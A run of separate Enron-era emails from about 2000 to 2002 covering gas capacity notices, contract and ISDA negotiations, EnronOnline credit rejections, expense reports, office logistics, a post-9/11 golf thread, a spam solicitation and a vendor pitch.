Lloyd -- Following up on our meeting yesterday, attached is a redlined draft 
of the referenced agreement for review and comment.  Christi agreed it would 
be a good idea to have Dan Watkiss look over this agreement before it is sent 
to Allegheny, so if possible please return your comments to me by the end of 
the day so we can forward him the resulting draft. Thanks.   --David

From: Swerzbin, Mike </O=ENRON/OU=NA/CN=RECIPIENTS/CN=MSWERZB>
To: enron_update@concureworkplace.com
Date: Monday, February 4, 2002 5:13:27 PM
Subject: 

Report ID no. 2B266B6655BD4CEFA874

I don't think there are any receipts outstanding .. Could you please tell me which ones you're missing???  This last report had a receipt for everything.

Sent: Thursday, January 31, 2002 9:36 PM
To: Swerzbin, Mike
Subject: Expense Report Receipts Not Received

Employee Name: Michael Swerzbin
Report Name:   Swerzbin, Mike  1/17/02
Report Date:   1/17/2002
Purpose:       Trip to Houston, TX, Meeting w/ UBS Warburg Management
Report ID:     2B266B6655BD4CEFA874
Submitted On:  1/17/2002
Report Total:  2112.45

Barry,  Attached are redlines of the docs with the changes we discussed 
today.  Please pay special note to the Maximum Daily Deliverability Quantity 
of the Confirm.  I want to discuss how this limits us and what flexibility 
this section needs.  Please review and lets discuss.

                                NOVEMBER 21, 2001

Notice ID: 3290

SUBJECT: CAPACITY ALLOCATION-TIMELY NOMINATION CYCLE FOR NOVEMBER 22-26, 2001

PLEASE NOTE THAT ALL ALLOCATIONS ARE SUBJECT TO CHANGE BASED ON THE RECEIPT OF
ANY NEW NOMINATIONS OR INTRADAY NOMINATIONS.

RECEIPTS:

November 22 through November 25, 2001:

ALLOCATIONS DUE TO LONG WALL MINING OF LINE SM-123:  For the following MLI
points: There is no capacity for IPP customers.  There is no capacity for ITS
customers.  There is no capacity for secondary firm customers.  There is no
capacity for overruns.

        Equitable Hi Hat       MLI F3
        KYWV Beaver Creek      MLI H1
        CNR Boldman            MLI CNR02
        CNR Conoway            MLI CNR03
        CNR Johns Creek        MLI CNR08
        CNR Canada             MLI CNR09, CNR10
        CNR Stafford           MLI CNR11
        CNR Thacker/Majestic   MLI CNR12
        CNR Briar Mtn.         MLI CNR13
        CNR Huff Creek         MLI CNR14
        Conoco Grant           MLI P1

November 22 through November 26, 2001:

KA-1 LINE (819288 AND 827280):  There is no capacity for IPP customers.  There
is no capacity for ITS customers.  There is no capacity for secondary firm

INTERNAL CONSTRAINT:

LANHAM:  There is no capacity for IPP customers.  There is no capacity for ITS
customers.  There is no capacity for secondary firm customers.

November 22 through November 26, 2001

Excess MDWQ               Available +
ISS Withdrawals           Available
SIT Withdrawals           Available
Imbalance Drawdowns       Available

Excess MDIQ               NOT Available +
ISS Injections            NOT Available
SIT Injections            NOT Available
Imbalance Paybacks        NOT Available

PAL Lends/Unparks         Available
PAL Parks/Loan Paybacks   NOT Available

Columbia Gas Transmission has completed allocating all of its receipt and
delivery points for the gas days of November 22-26, 2001.  You may now view the
quantities you are authorized to flow on November 22-26, 2001.  On the Internet
NAVIGATOR, view Nominations, Scheduled Quantity, Scheduled Quantity for Service
Requestor-Summary, Nominations to be Viewed, and select Reduced Nominations.
The quantities confirmed to flow for your account are available on the Internet
NAVIGATOR after 5:30 p.m. Eastern Time on Wednesday, November 21, 2001.

If you have any questions, please contact your Account Representative.

Okay, team, here's our first chance to rally for the 2002 tour.  Come join us at Memorial Park (picnic loop area) on Saturday, January 26, from 8:00 AM to 11:00 AM.  This is the MS150 Training Program Kick-Off and Bike Demo Day.

Team Sun & Ski will have a booth at the event.  Please come and visit us.  You can register, ask questions, or just say hi.  I know you have lots of questions about the new team, and this will be your chance to meet those individuals from Sun & Ski Sports who have made it possible for our team to stay together this year.  

We will have some trainers available, and would like some volunteers to do some stationary riding in the area of our booth.  If you'd like to do this, please come equipped.  We'll probably have some bikes also, but if you could throw your own in, that would be helpful.  You can get a free safety check-up on your current bike, or shop for a new bike or the latest cycling gear.  Official MS150 Health Clubs will be on hand to give training tips and advice.

I'm looking forward to seeing you there! 

Amelia Alder
P.O. Box 1188
Suite 3AC3120
Houston, TX 77251-1188
Tel: 713-646-6569
Fax: 713-345-5755
amelia.alder@enron.com

Greetings!

  Today's EarthSat 6-10 and 11-15 maps:

Possible EarthSat's 6-10 for tomorrow:

Sunday Video Briefing is located in the Afternoon Video link on Research and 
Gas Fundamentals
Web Pages.

Jose Marquez
 
Hello EJOT-

I regret to inform you that this week's conference call has been canceled. 
The call will be reinstated next week though. Attached please see the our 
contact list with the new numbers and address. Thanks,

Eddie

Better late than never.  This is the list TW promised from our customer 
meeting.

Thanks,

TK
---------------------- Forwarded by TK Lohman/ET&S/Enron on 12/06/2000 09:40 

12/05/2000 01:13 PM
To: Kevin Hyatt/ET&S/Enron@Enron, Jeffery Fawcett/ET&S/Enron@ENRON, Lorraine 
Lindberg/ET&S/Enron@ENRON, TK Lohman/ET&S/Enron@ENRON, Michelle 
Lokay/ET&S/Enron@Enron, Christine Stokes/ET&S/Enron@ENRON, Steven 
Harris/ET&S/Enron@ENRON
cc:  

Subject: Market/Supply List

Attached is an updated document for any distribution.  I've corrected the 
name of "Enron Oil & Gas" to "EOG Resources".

yea they were doing spoofs on the rules of business.  i'll tell you about it 
later.  kind of funny.   however, it took 2 hours for 30 seconds of film

From: Margaret Allen@ENRON on 11/02/2000 08:50 AM
cc:  
Subject: Re: NYC rocks  

Without me!  I can't believe you...

Just kidding.  What was it for -- the management conference?  

I got it.  Thanks

mflewellyn@columbiaenergygroup.com on 03/15/2000 01:35:06 PM
To: " - *chris.germany@enron.com" <chris.germany@enron.com>
cc:  
Subject: storage schedules

Chris - I wasn't sure who to send the storage schedules to, so I figured if I
sent them to you and Colleen I'm covered.  Please give me a call if you have 
an

Thanks,

Melissa
---------------------- Forwarded by Melissa Flewellyn/CES/ColumbiaGas on
03/15/2000 02:32 PM ---------------------------

Melissa Flewellyn
03/15/2000 02:10 PM

To: colleen.sullivan@enron.com@internet
cc:

Colleen,

Attached is an excel spreadsheet detailing our desired storage proxy schedules
for COH and AGL.  If you have any questions or wish to discuss these, please
give me a call.

 - storage proxies.xls

Frank has just noted that there is one exception (NNG/TW) to the rates on the attached schedule.  In the case of CIAC paid to others, the intent is to amortize it over
the life of the contract and if there is no contract, it would default to 10%.

From: 	Studzinski, Betty  
Sent:	Friday, August 03, 2001 1:39 PM
Cc:	Cobb Jr., John
Subject:	FW: ETS Depreciation Rates

    This file has been updated for NBPL rates.

Sent:	Friday, August 03, 2001 11:22 AM
Cc:	Cobb Jr., John; Bayles, Timothy; Carriere, Frank
Subject:	ETS Depreciation Rates

Per your request:

The question came up yesterday whether a shipper who contracts for firm 
capacity for a year or more at a negotiated rate is entitled to a ROFR.

I've done some checking, and the answer is no, a negotiated rate shipper that 
entered into a contract after March 27, 2000 does not automatically get ROFR 
rights.   This was clearly stated by FERC in Order No. 637-A.   It does not 
matter whether the negotiated rate is above the maximum tariff rate; the 
contract is still not considered to be "at maximum rates" for ROFR purposes.

As you know, our tariff does allow us to mutually agree to include ROFR 
rights in a contract with a shipper who does not automatically get ROFR 
rights.  

Any questions -- let me know.

Jimmie,
Thanks for the email.  Sorry for the slow response, vacation.  I am out that 
day but i really appreciate the invite.  Happy holidays.
m

cc:  
Subject: Rhubarb on Dec. 28

Mike,

I am playing in the Rhubarb at Champions on the 28th with another guy I've 
played in several tournaments with.  However, they have switched the format 
this year to 3 man teams, and wondered if you have any interest.

Either give me a call 3-4278, or reply by e-mail.

Hope you have a merry Christmas.

Jimmie

Rick,

I could not open the message.

Vince

Richard B Jones@EES
01/31/2001 11:40 AM
cc: Mark S Muller/HOU/EES@EES, Marty Sunde/HOU/EES@EES 
Subject: Insurance Simulation Model Development

-Joe Step

David.H.Mendez@dynegy.com@dynegy.com on 05/07/2001 04:08:43 PM
To: joe.stepenovitch@enron.com
cc:  

Joe,

Thanks for the quick turn around!

See ya in the gym...

(See attached file: Mendez David 2.doc)

David......
 - Mendez David 2.doc

Scott Goodell who knows all and sees all said he is at AEP, and his number is 
614-324-5038.  Scott is THE MAN!

dkirken@columbiaenergygroup.com on 10/26/2000 02:23:43 PM
cc:  
Subject: Re: Former CES Trader

Chris,

Do you know if John Hymel ended up at Enron in the CES deal?

I'd like to get in touch with him.

Thanks,

Don

I believe this message was intended for Susan M Scott of ENA.  I'm with ETS 
Legal.

	From:  Hector McLoughlin                           12/07/2000 10:47 AM
	
To: Kam Keiser/HOU/ECT@ECT, Susan Scott/ET&S/Enron@ENRON, Victor 
Guggenheim/HOU/ECT@ECT, Jeffrey C Gossett/HOU/ECT@ECT, Errol 
cc: Francisco deJesus/NA/Enron@ENRON 

Subject: Behavioral Profile of Risk Management Personnel

I want to recap our understanding of the key cultural/behavioral attributes 
that you said were important to interview for.      If you want to add to 
this please don't hesitate to do so.   We will form a questionnaire tailored 
to your group's needs. 

The right candidate will desire an environment that will challenge them with 
new situations on a constant day to day basis.   This person would become 
bored and restless with routine.   This person would also enjoy learning at a 
relatively fast and voluminous rate. 
The candidate will rarely lose a train of thought despite interruptions and 
can return to the point at which a discussion or idea was disrupted.   There 
are techniques as well as questions that can address this. 
The person must indicate a high degree of dependability, endurance, 
follow-through, and persistence.   They must be equipped with an ability to 
cope with adversity and be willing to do what it takes to get it done.    
They must not be adverse to working beyond the 45hr week.    It is difficult 
for the candidate to create a story that combines examples of all of these 
traits unless it truly happened.   If they have these traits, they have used 
them in the past. 
Relatively thick skinned.   How do they accept criticism and/or reprimands?   
A desire to be in control of situations is also a desirable trait.  These 
applicants must want to make decisions and control outcomes almost all of the 
time.   Not to be confused with micro-managers or control freaks 
(yeah-buts).   
Lastly, they must have an entrepreneurial focus.    They need to be the 
people that make it happen, with possibilities but without guarantees  of 
personal gain, a desire to take ultimate responsibility, and influence others 
to get it done and make them feel good about it.   The how, what, when, 
where, and why of being in a leadership role. 

We will start formulating the questions and the order in which they should be 
asked today.   Do you have any candidates in the near future?   We would be 
glad to help you with interviewing tips.   
hgm

There have been a lot of emails being circulated internally about BAREP and 
from BAREP.  The current situation as I understand it is that ECTRIC, the 
Oslo Branch of ECTRIC and ENA all plan to enter or have entered into 
derivative transactions with BAREP.  (I also understand that BAREP consists 
of two legal entities, one that sells options and one that buys options, 
although It is not clear to me how this split structure will come into play 
for the transactions each of the Enron entities may be interested in 
pursuing.)  BAREP is prepared to sign ISDA Master Agreements with both ENA 
and ECTRIC and is actively looking to start negotiations.  

From a credit and legal perspective it is our preference to have only one 
Enron entity enter into a master with BAREP.  If ECTRIC is the entity that 
will have the most contact with BAREP then it makes sense to have ECTRIC 
enter into the ISDA with BAREP.  To the extent that ENA would like to trade 
with BAREP I would propose that ECTRIC enter into the trade directly with 
BAREP and then have ECTRIC either back to back the trade to ENA or otherwise 
account for the transaction back to ENA.  (Pending execution of a master each 
Enron entity should continue to document transactions as they have been 
doing.)

If this proposal makes sense to the rest of you I will need to know if it 
works from a regulatory and tax perspective. 

Steve, Janine, is there any reason why ENA would not be able contact the 
traders at ECTRIC to have them enter into a transaction with BAREP and then 
have them back to back the transaction to ENA?

Please let me know if anyone else needs to give input into this issue or if 
there are any other concerns or issues that will need to be addressed to 
cover this situation.  

Thank you for your help.
Brent Hendry.

	Martin Rosell@ECT
	10/19/2000 02:22 AM
		 
		 cc: Tanya Rohauer/HOU/ECT@ECT
		 Subject: ISDA Master Agreement between Enron North America and Banque de 
R,escompte et de Placement (BAREP)

Can you clear such an arrangment with Tax, Trading and Documentation, I'm 
happy to play along.  Please don't let this issue stop you from addressing 
the Barep docs matter.  Thanks.

Martin 
---------------------- Forwarded by Martin Rosell/OSL/ECT on 2000-10-19 09:16 
From: Brent Hendry@ENRON on 2000-10-16 11:59 CDT
To: Martin Rosell/OSL/ECT@ECT
cc: Tanya Rohauer/HOU/ECT@ECT 

Subject: ISDA Master Agreement between Enron North America and Banque de 

Martin,
I am not sure who is pushing having two master agreements with Barep.  From a 
legal and credit perspective it would be better to have one master in place 
and if the other Enron office wants to trade with Barep we can do it through 
the existing master and back to back the transaction internally.  I do not 
mind having the master done from here but, unless there are factors I am not 
aware of, it would not make sense to split our credit with another master 
from London.  Tanya do you have any insight on this issue?

Let me know if you can why there is the push for two masters.

Thanks,
Brent  

----- Forwarded by Brent Hendry/NA/Enron on 10/16/2000 11:56 AM -----

	10/16/2000 11:52 AM
		 
		 To: radia.djama@socgen.com
		 cc: Brent Hendry/NA/Enron@Enron

Radia,

Thanks for your note below.  Since Enron trades from different entities in 
North America and Europe, I assume that we're talking about two sets of 
contract, one between Enron North America Corp. ("ENA") and Barep and one 
between Enron Capital & Trade Resources International Corp. ("ECTRIC") and 
Barep.  In order to avoid duplicating work, a way forward could be to let ENA 
and Barep conclude their contract, whereupon ECTRIC and Barep largely could 
replicate the terms between the former in their own ISDA master agreement.  
As to the ISDA between ENA and Barep, please forward your draft documentation 
to my colleague in Houston; Brent Hendry, on fax +1 713 853 3129.  For your 
information, ECTRIC is a Delaware-incorporated company and a wholly-owned 
indirect subsidiary of Enron Corp.

Regards,

Martin Rosell
---------------------- Forwarded by Martin Rosell/OSL/ECT on 2000-10-16 18:39 
   
	From:  radia.djama@socgen.com                           2000-10-16 12:34
	
To: Martin.Rosell@enron.com
cc: michel.queruel@socgen.com, oriane.cheneau@socgen.com, Steven.Vu@enron.com 

Dear Mr Rosell :

I am a legal counsel in charge of the negotiation of the Master Agreements.

I refer to the last e-mails from my colleague Oriane Ch,neau addressed to 
Steven
Vu in order to put an  ISDA Master Agreement in place between our two 

Before sending  you our draft, we would be grateful if you could provide us 
the
status of your company as soon as possible.

The best for us is to send our draft today or tomorrow at the latest.
Also, could you please confirm wether your fax number is well 00 47 2 310 25 
50.

Should you have any questions, do not hesitate to contact me.

Thank you in advance for your reply.

Radia Djama
Tel : 33 1 53 32 90 75
Fax : 33 1 53 32 91 21

    ********

Richard, I think I am starting to obsess and I really don't want you guys 
working on this; however, it think that it is very odd that this Griffin guy 
over an eight week process, two registered letters and a phone conversation 
does not send a letter or bring up this "Chrome Dreams" issue from 1986 with 
us until this lawsuit is filed without our knowledge.

This guys sounds a little off.

Regards
Delainey

You need AUDIO for this one!!!!

 - Duckjob.wav

Expand your business! Make it easy for your customers to
pay using Visa, Master Card, Discover, American Express,
Debit Card and Checks via Phone/Fax/Internet. How? Through
a business Merchant Account!

By providing multiple methods of acceptable payment you
automatically help ensure that it will be easier for them
to pay you and build up trust. People DON'T want to send
cash or checks via mail, because it is dangerous and gives
them absolutely no guarantees whatsoever.

So make it easier for your customers and setup a Merchant
Account for your business. There are NO setup fees, and
the monthly costs are very low. To obtain more information,
please reply to this email with your name, phone number
with area code, and a good time to call. You will be
contacted within 10 business days by one of our staff.

To be removed from our contact list, send us an email
with the subject "Remove"  and you will be automatically
taken off our list. If removal does not work, reply with
your email address in the Body of the email

jbk9fsqs56

Start Date: 12/27/01; HourAhead hour: 4;  No ancillary schedules awarded.  No variances detected. 

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2001122704.txt

This Cp was primarily interest in price discovery and was going to consider whether to pursue EOL access.  I informed them that if they want EOL access, I need documentation re municipal authority.  They never followed up with me.

Leslie

Sent:	Friday, October 05, 2001 4:03 PM
Cc:	Clark, Claudia
Subject:	FW: Seminole Electric Cooperative, Inc.

This counterparty was on the 8/15/01 list and wanted to trade east power.  You wre checking on their ability to trade power.  Any update? 
From: 	Clark, Claudia  
Sent:	Friday, October 05, 2001 2:58 PM
Subject:	Seminole Electric Cooperative, Inc.

Hi Tana,
Profile Manager is pending your approval for Seminole Electric Cooperative, Inc.  Customer is calling regarding status of his application. ( He applied 4-23-01 )

Thank you,
Claudia 

This is to go over the documents for the Elba Island LNG supply to Southern 
for the Macintosh site.
----- Forwarded by Dan J Hyvl/HOU/ECT on 05/15/2001 10:08 AM -----

	Vanessa Griffin/ENRON@enronXgate
	05/15/2001 10:04 AM
		 
		 cc: 
		 Subject: Confirmation of Conference Room: EB 3872; 1:00 - 2:30 PM today

mark

are there any templates you use when rejecting a prospective EOL C/P due to 
insufficient creditworthiness (i.e. fails the CFTC net worth, etc test)?

Thanks.
Justin

---------------------- Forwarded by Justin Boyd/LON/ECT on 11/09/2000 18:59 

Caroline Duggan
11/09/2000 14:22
cc:  

Subject: Rejection letter for EnronOnline

Hi Justin

I could really do with some help on this!

McTaggart Shipping and Management have applied for access to EOL, however 
Credit have rejected their application 
due to the fact that this counterparty do not pass the CFTC test for 
financial trades. I have spoken to Paul Maley about this
and basically McTaggart don't meet the required financial requirements. 

I have constructed a draft letter to send to the customer, and I have run 
this past Amita, but we're not sure on how we should 
phrase the reason why we are rejecting them. Credit have told us not to be 
too specific. 

Could you possibly help us out with how we should draft this letter?? 

Pierre Aury (trader) has been in contact with this customer and apparently 
they are pretty touchy!!

Thanks 
Caroline 

Thank you for your application to trade via EnronOnlineTM. Due to your 
company not meeting regulatory requirements for financial trading, we will 
not be able to provide you with access to the site at this time.

If you have any questions or need any more information please do not hesitate 
to contact us at +44 (0)20 7783 7783 or E-mail us at help@EnronOnline.com.  

Once again, we appreciate and thank you for your interest in EnronOnlineTM.

so far it look like: kevin, ernie, mark, dutch, richard, myself &
jerry?????, my friend christian might go.  if not i'd like to get an eighth
or a seventh since i don't know where lawyer-boy is and if he can go.

ricardo
From: "Martinez, Ernesto Jr" <martier@cpchem.com>
To: "'Richard Smith'" <ras1119@hotmail.com>; <siva66@mail.ev1.net>;
<klyn@pdq.net>; <jramirez@othon.com>; <wolphguy@aol.com>;
<MarkM@cajunusa.com>; <Dutch.Quigley@ENRON.com>
Cc: <john_riches@msn.com>
Sent: Wednesday, September 12, 2001 6:16 PM

> I can't say anything that hasn't been said already.  However, I will add
> that we DO need to get on and enjoy our freedom.  Too many times we take
> something so simple as our freedom for granted.  Our generation has never
> seen anything like this and I would hope that our children will not have
to
> ever experience the feelings that we as a nation have endured the past 36
> hours.  I love my country, I love my family and friends, but most of all I
> love Brock dogs.  Bring it on!!
>
> In the words inscribed at the Korean War Memorial in Washington which I
was
> priviledged to visit this past summer,
> "Freedom is not Free"
>
> ernie
>
> As for dinner plans, I cannot make it on Saturday evening.
>
> From: Richard Smith [mailto:ras1119@hotmail.com]
> Sent: Wednesday, September 12, 2001 3:16 PM
> To: siva66@mail.ev1.net; klyn@pdq.net; jramirez@othon.com; Martinez,
> Ernesto Jr; wolphguy@aol.com; MarkM@cajunusa.com;
> Dutch.Quigley@ENRON.com
> Cc: john_riches@msn.com
> Subject: RE:
>
>
>
> I definitely want to play so let me know if you can tomorrow if we are for
> sure.
>
> Richard
>
> >From: "siva66" <siva66@mail.ev1.net>
> >Reply-To: <siva66@mail.ev1.net>
> >To: <klyn@pdq.net>,    <jramirez@othon.com>,    <martier@cpchem.com>,
> ><wolphguy@aol.com>,    <MarkM@cajunusa.com>,    <ras1119@hotmail.com>,
> ><Dutch.Quigley@ENRON.com>
> >CC: <john_riches@msn.com>
> >Subject: RE:
> >Date: Wed, 12 Sep 2001 11:40:59 -0500
> >
> >i'd like to play also and we could still have dinner together.  i
> >too want to tell everyone how important all of you are to me,
> >seeing as i rarely see anyone in my family (it's been almost 4
> >years since i've seen my mom) and you guys are basically family to
> >me.  i'm just glad that none of you were on the east coast.  let
> >me know.  think about it brock dogs in the morning to clog up both
> >your arteries and anus!! yummy!!!
> >
> >ricardo
> >
> >
> >---------- Original Message ----------------------------------
> >From: "Quigley, Dutch" <Dutch.Quigley@ENRON.com>
> >Date: Wed, 12 Sep 2001 11:25:06 -0500
> >
> > >I would still like to play golf this weekend b/c it is the
> >friendship
> > >that is fun
> > >I might even take on Ernesto for the Brock dog challenge
> > >
> > >It is truly sick what happened , I was talking to a broker that
> >was in
> > >the second world trade tower as it got
> > >hit and he was describing what was going on.  Several people I
> >know made
> > >it out of both buildings but many are not
> > >yet accounted for , so at this time all there is is hope.
> > >
> > >May everyone have a peaceful day
> > >
> > >Dutch
> > >
> > >>  -----Original Message-----
> > >> From: "Kevin" <klyn@pdq.net>@ENRON
> > >> [mailto:IMCEANOTES-
> >+22Kevin+22+20+3Cklyn+40pdq+2Enet+3E+40ENRON@ENRON.
> > >> com]
> > >> Sent: Wednesday, September 12, 2001 11:09 AM
> > >> To: Joe Ramirez; Quigley, Dutch; siva66@mail.ev1.net;
> > >> martier@cpchem.com; wolphguy@aol.com; MarkM@cajunusa.com;
> > >> ras1119@hotmail.com
> > >> Subject: Re:
> > >>
> > >> This show how truly sick and evil people can be, but also show
> >how the
> > >> good
> > >> of everyone can come together in moments of tragedy.  Our
> >thoughts and
> > >> prayers are with those that have been personally affected by
> >this
> > >> event.  I
> > >> can't imagine having to explain this to children.
> > >>
> > >> Kevin
> > >>
> > >>
> > >> ----- Original Message -----
> > >> From: "Joe Ramirez" <jramirez@othon.com>
> > >> To: "Quigley, Dutch" <Dutch.Quigley@ENRON.com>;
> ><siva66@mail.ev1.net>;
> > >> <martier@cpchem.com>; <wolphguy@aol.com>; <MarkM@cajunusa.com>;
> > >> <ras1119@hotmail.com>; <klyn@pdq.net>
> > >> Sent: Wednesday, September 12, 2001 11:06 AM
> > >> Subject: RE:
> > >>
> > >>
> > >> > Good idea, Dutch. Yesenia, Xavy and I will have all of you in
> >our
> > >> prayers.
> > >> > We will be in Missouri for our vacation.
> > >> >
> > >> > -----Original Message-----
> > >> > From: Quigley, Dutch [mailto:Dutch.Quigley@ENRON.com]
> > >> > Sent: Wednesday, September 12, 2001 10:29 AM
> > >> > To: siva66@mail.ev1.net; martier@cpchem.com; wolphguy@aol.com;
> > >> > jramirez@othon.com; MarkM@cajunusa.com; ras1119@hotmail.com;
> > >> klyn@pdq.net
> > >> > Subject: RE:
> > >> >
> > >> > if people do not want to play golf i suggest we all go to
> >breakast
> > >> or
> > >> > have lunch
> > >> > I would just like ot see and talk to everyone b/c you never
> >know
> > >> when we
> > >> > might not be able to
> > >> >
> > >> > I luv you guys
> > >> >
> > >> > dutch
> > >> >
> > >> > >  -----Original Message-----
> > >> > > From:         "siva66" <siva66@mail.ev1.net>@ENRON
> > >> > >
> >+22siva66+22+20+3Csiva66+40mail+2Eev1+2Enet+3E+40EN
> > >> > > RON@ENRON.com]
> > >> > > Sent: Wednesday, September 12, 2001 10:25 AM
> > >> > > To:   Quigley, Dutch; martier@cpchem.com; wolphguy@aol.com;
> > >> > > jramirez@othon.com; MarkM@cajunusa.com; ras1119@hotmail.com;
> > >> > > klyn@pdq.net
> > >> > > Subject:
> > >> > >
> > >> > > just in case, i do not know how everyone feels about this
> >but i
> > >> > > still got 2 tee times at brock on saturday at 8:40 & 8:48.
> >let me
> > >> > > know.
> > >> > >
> > >> > > ricardo
> > >> > >
> > >> > >
> >________________________________________________________________
> > >> > > Sent via the EV1 webmail system at mail.ev1.net
> > >> > >
> > >> > >
> > >> > >
> > >> > >
> > >> >
> > >> >
> > >> >
> > >>
> >*******************************************************************
> >***
> > >> > This e-mail is the property of Enron Corp. and/or its relevant
> > >> affiliate
> > >> and
> > >> > may contain confidential and privileged material for the sole
> >use of
> > >> the
> > >> > intended recipient (s). Any review, use, distribution or
> >disclosure
> > >> by
> > >> > others is strictly prohibited. If you are not the intended
> >recipient
> > >> (or
> > >> > authorized to receive for the recipient), please contact the
> >sender
> > >> or
> > >> reply
> > >> > to Enron Corp. at enron.messaging.administration@enron.com and
> > >> delete all
> > >> > copies of the message. This e-mail (and any attachments
> >hereto) are
> > >> not
> > >> > intended to be an offer (or an acceptance) and do not create
> >or
> > >> evidence a
> > >> > binding and enforceable contract between Enron Corp. (or any
> >of its
> > >> > affiliates) and the intended recipient or any other party,
> >and may
> > >> not be
> > >> > relied on by anyone as the basis of a contract by estoppel or
> > >> otherwise.
> > >> > Thank you.
> > >> >
> > >>
> >***
> > >> >
> > >>
> > >
> >
> >
> >Sent via the EV1 webmail system at mail.ev1.net
> >
> >
> >
> >
>
>
>

Rick:  There is no legal requirement that the Board determine, approve or r=
atify the Section 16 list of officers (although in practice, we have asked =
them to do so in the past, at least on an annual basis).  Whether someone i=
s an executive officer is a question of fact, and I have not gotten any res=
ponses from others that I have attempted to get information from to determi=
ne whether or not we should update the list (the lack of response, I'm sure=
, is due to the fact that there is a lot of stuff going on).  So, I will gi=
ve you a call to discuss: (i) has your title changed? (ii) have your respon=
sibilities changed? (i.e., are you still the Chief Risk Officer?)  In the e=
nvironment of a Chapter 11 proceeding, is there any need for a chief risk o=
fficer?  (iii) are you still on the Executive Committee (is there still an =
Exec. Committee, does it still meet and what are its duties and responsibil=
ities?).  No one factor is determinative---the issues are:  do you oversee =
or set policy for an important business or administrative function of the C=
ompany?  In our former environment, the answer was easy.  I just don't know=
 the facts in today's environment.  I will give you a call to discuss.  Tha=
nks for your patience.  Rex

From: =09Buy, Rick =20
Sent:=09Tuesday, December 11, 2001 12:44 PM
To:=09Rogers, Rex
Subject:=0916b Status

Any news on 16b status. There is a BOD meeting tonight. Rick

Dear All,

Could you please inform me of any meetings with MG that have taken place and 
that will be taking place.  Also after each meeting could you please send me 
a written report that I can post on the S drive,

Thank you

Esther

I don't know.  I'll ask Suzanne.

	From:  Kathleen Carnahan                           10/13/2000 04:41 PM
	
cc:  

Subject: Re: Power Plant Development Powerpoint Presentation  

Are we also to attend Sheila's meetings since we are now separated into East 
and West?

K-

cc:  

Subject: Power Plant Development Powerpoint Presentation

I will be out of town, but I think you should definitely be there.  I'll 
mention it to Sheila.

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 10/12/2000 04:27 
From: Suzanne Adams@ECT on 10/12/2000 04:11 PM
To: Karen E Jones/HOU/ECT@ECT, Bob Carter/HOU/ECT@ECT, Barton 
Clark/HOU/ECT@ECT, Alan Larsen/PDX/ECT@ECT, Dale Rasmussen/HOU/ECT@ECT, Ed B 
Hearn III/HOU/ECT@ECT, matt.maxwell@enron.com, kay.mann@enron.com, Stuart 
Zisman/HOU/ECT@ECT, Peggy Banczak/HOU/ECT@ECT
cc: David Leboe/HOU/ECT@ECT 

There will be a presentation by David Leboe on October 18, 2000 at 10:00 a.m. 
in EB38C2.  Please put this on your calendar and plan to attend.

Also, the weekly meetings with Sheila will begin October 25, 2000 at 10:00 
a.m. in E38C2. 

Due to a variety of circumstances we did not migrate employees to the UBSWE environment tonight (Monday, February 4, 2002). We will communicate further details of the migration plan on Tuesday, February 5, 2002.

Thank you for your cooperation in advance, please contact the Resolution Center at x 3-1411 should you have any questions.

UBSW Energy Global Infrastructure

Thank you for the email.  I have forwarded it on for people's consideration.

Mike McConnell

---------------------- Forwarded by Judy Hernandez/HOU/ECT on 11/22/2000 

Daily-Blessings <dailyblessings.10@lists.postmastergeneral.com> on 11/21/2000 
10:47:07 PM
cc:  
Subject: Daily Blessing 11/22/00

http://www.daily-blessings.com/bless147.htm

Intelligence
http://www.daily-blessings.com/humor54.htm

now!

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Over to you.
From: 	Arvind Ramanathan <Arvind.Ramanathan@techspan.com>@ENRON [mailto:IMCEANOTES-Arvind+20Ramanathan+20+3CArvind+2ERamanathan+40techspan+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Monday, June 04, 2001 8:58 PM
Subject:	Value Proposition for Enron from TechSpan

Hi Andy

Hope you have had a chance to review our earlier details and hopefully it
would have given you further insights into our capabilities.

During the recent Board meeting with Goldman Sachs, our Enron strategy was
discussed and we indicated our correspondance with you. All of us are very
exited and working on ways of initiating the process. Moreover, due to the
strategic nature of partnership, our Management has also decided to invest
in developing this association.

I would discuss the proposition (from our Senior Management) during a
telecon and you could assess the feasibility.

Meanwhile, some areas that we are currently working with Goldman Sachs,
Nortel, Chevron, HP, etc are indicated below and we could replicate the same
with Enron:

1.	Module Development or enhancements to existing applications
      - Portal
      - Adaptor/Connector Development
      - Integrating online trading apps with Back End systems
      - Ariba customization/enhancements
      - Content Management
      - e-Procurement &  EBPP
      - other application specific integration

2.	Maintenance & enhancements (Could be done in India for cost saving
and round the clock operations)
3.	Re-engineering, Migration and porting for your existing applications

4.	QA

Andy, we are confident that this proposition of ours would be very
attractive and would go a long way in developing a strong association.

Could we discuss our business proposition this week ? I could call your
admin assistant tommorow (6/5) and fix up a suitable time for the call (10 -
15 Minutes Max.) We could follow this up with a technical meeting to
identify specific areas, should you feel comfortable with our proposition.

Looking forward to our discussions.

Thks, Arvind

Tel	: 408. 530.5570
Cell	: 408. 828.6391

www.techspan.com

From: Arvind Ramanathan
Sent: Thursday, May 24, 2001 12:08 PM
To: 'andy.zipper@enron.com'
Subject: RE: Partnership: Enron & TechSpan (Goldman Sachs Funded
Company)

Dear Andy

Thanks for your Mail. I sincerely hope you were able to get a high level
overview of our company. Further to my earlier mail, i am enclosing the
information which could provide further insight into our company. Pls
include them in your assessment process and give me a feedback if you
require any further clarification. We look forward to meeting you and your
team for an  presentation and the value we could bring to Enron. In the
presentation, we would cover our Methodology, Processes, Competencies,
Clients , Case Study & our economical/cost effective deployment processes.

Some synergies i perceive; Enron's initiative in ClickPaper could map well
based on our experience in Forest Express , EnronOnline could map into our
experience with RMX/Chevron or American Petroleum Exchange, Dealbench.com
maps well with our experience with eBreviate on the hosted ASP model for
eRFP,Auctions,Supplier Search. Moreoever, our development labs in India
could add great value for your module development, ongoing support,
maintenance, QA, Porting work; deploying a very low cost structure.

1.	TechSpan Details: I have enclosed the following -

	1.1 Company Overview (Management, Revenues, Growth, Locations,
Services, Competencies,  etc)
	1.2 TechSpan B2B Markets Expertise Brochure
	1.3 Case Study - e2Open , Traiana
	1.4 Projects with Ariba & MOAI

2.	Other Details which could be of interest

	2.1 TechSpan has been featured on IDC's analysis (Report No. 23918)

	" IDC believes that TechSpan has done a good job of melding its
evolution as a services business to that of its 	partnerhips"

	2.2.  BEA's Partner brochure on its competency (attachment), wherein
TechSpan has been evaluated at par with KPMG & 	CSC. All our clients have
also realized the value in TechSpan and all have positioned us equivalent
